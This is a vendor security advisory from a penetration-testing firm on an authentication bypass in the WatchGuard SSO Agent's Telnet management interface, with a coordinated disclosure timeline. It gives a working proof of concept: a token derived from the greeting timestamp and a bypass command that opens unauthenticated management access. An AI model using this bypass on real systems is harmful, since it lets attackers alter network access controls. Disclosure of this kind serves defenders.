+49 241 510081-0
kontakt@redteam-pentesting.de
DE
DE

Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header
newer
back to overview
older

Text Version

WatchGuard SSO Agent Telnet Authentication Bypass

The WatchGuard SSO Agent exposes a Telnet interface on TCP port 4114 which is vulnerable to an authentication bypass granting unauthenticated attackers access to management commands.

Details

Introduction

When users log on to the computers in your network, they must give a user name and password. If you use Active Directory authentication on your Firebox to restrict outgoing network traffic to specified users or groups, your users must also complete an additional step. They must manually log in again to authenticate to the Firebox and get access to network resources or the Internet. To simplify the log in process for your users, you can use the WatchGuard Single Sign-On (SSO) solution. With SSO, your users on local networks provide their user credentials one time (when they log on to their computers) and are automatically authenticated to your Firebox.

(from vendor’s homepage)

More Details

The WatchGuard SSO Agent exposes a Telnet interface on TCP port 4114. Without authentication, only the help message can be displayed:

$ telnet <host> 4114
Trying <host>...
Connected to <host>.
Escape character is '^]'.

EVENT 350 log info Connected to the WatchGuard Authentication Gateway SSO agent. Version 12.10.2.29857 Build 691995. Connected at:06/06/2024 11:16:44
 To log in to the SSO Agent, type your user credentials. Or, type "help" to see the list of available log in commands.
 After you log in, type "help" to see all of the commands available for the SSO Agent.

help
?                        Show help
help                     Show help
login <user> <password>  Log in user. Use quotes if there are spaces in the credentials.
quit                     Terminate the connection.

It was discovered, that the authentication can be bypassed by issuing a command followed by a Base64-encoded token, which can be calculated by XORing the timestamp from the initial message (in this case 06/06/2024 11:16:44) with the repeated byte 0x89. Generating this token was implemented in https://github.com/RedTeamPentesting/watchguard-sso-client:

$ ./wgclient.py authbypass 'EVENT 350 log info Connected to the WatchGuard Authentication Gateway SSO agent. Version 12.10.2.29857 Build 691995. Connected at:06/06/2024 11:16:44'
ub+mub+mu7m7vam4uLO4v7O9vQ==

The token can then be used to bypass authentication in the Telnet session:

async-test list UI ub+mub+mu7m7vam4uLO4v7O9vQ==
[...]
help

?                        Show help
help                     Show help
login <user> <password>  Log in user. Use quotes if there are spaces in the credentials.
logout                   Log out.
get user <ip>            Show all users logged in to <ip>.
                           Ex:get user 192.168.203.107
get timeout              Show the current timeout value.
get status               Show the status for connections.
get status detail        Show connected SSO clients, pending, and processing IP addresses.
get clear cache status   Show SSO Agent and ELM clear cache status.
get domain               Show the current domain filter.
get version <ip>         Show the SSO component name, version, and build information for the IP address.
get version all          Show the SSO component name, version, and build information for all the monitored IP addresses.
log off <ip>             Remove the IP session on FireBox and reset SSO Exchange Monitor Session Check Internal.
set domainfilter on      Enable domain filter.
set domainfilter off     Disable domain filter.
set user                 Set artificial user information (for debugging)
set debug on             Save debug messages to a file in the same location as the .exe.
set debug verbose        Enable additional log messages.
flush <ip>               Clear cache of <ip> address.
flush all                Clear the cache of all IP addresses.
list                     Return a list of all the IP addresses in the cache with expiration dates.
list config              Return a list of all the monitored domain configurations.
list user                Return a list of all registered users.
list eventlogmonitors    Return a list of all Event Log Monitors.
list exchangemonitors    Return a list of all Exchange Monitors.
quit                     Terminate the connection.

Attackers can then issue management commands. For example, it is likely possible to set artificial user information in order to apply or lift network restrictions for arbitrary hosts.

Proof of Concept

Connect to the Telnet interface of the WatchGuard SSO Agent:

$ telnet <host> 4114

Copy the initial message and use it to generate an authentication bypass token using https://github.com/RedTeamPentesting/watchguard-sso-client:

$ ./wgclient.py authbypass '<message>'

Issue the following command with the generated token in the telnet session to bypass authentication:

async-test list UI <token>

Workaround

As a workaround, network access to the Telnet interface port should be restricted to trusted hosts that actually require access to this specific interface.

Security Risk

Attackers can issue management commands via the Telnet interface of the WatchGuard SSO Agent without prior authentication. This level of access may be used to apply or lift network restrictions to arbitrary hosts. Therefore, this vulnerability poses a high risk.

Timeline

  • 2024-06-05 Vulnerability identified
  • 2024-06-10 Customer approved disclosure to vendor
  • 2024-06-20 Vendor notified
  • 2024-06-27 Vendor confirmed they received the reports
  • 2024-07-04 Asked vendor to confirm the vulnerabilities and provide a timeline to resolve the issues
  • 2024-07-09 Vendor confirmed vulnerabilities, said a timeline will be provided at a later date
  • 2024-08-08 Asked for update regarding timeline, reminded vendor about 90-day responsible disclosure time frame
  • 2024-09-03 Asked for update
  • 2024-09-10 Asked for update again with hint to our planned release after 90 days
  • 2024-09-13 Vendor provided update that a potential resolution was identified
  • 2024-09-16 Vendor announced they will publish advisories on the following day, a fix is planned for end of October
  • 2024-09-17 After customer conferred with WatchGuard, publication was deferred for one week in order to implement mitigations
  • 2024-09-18 Confirmed new release date with WatchGuard
  • 2024-09-25 Advisory published

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/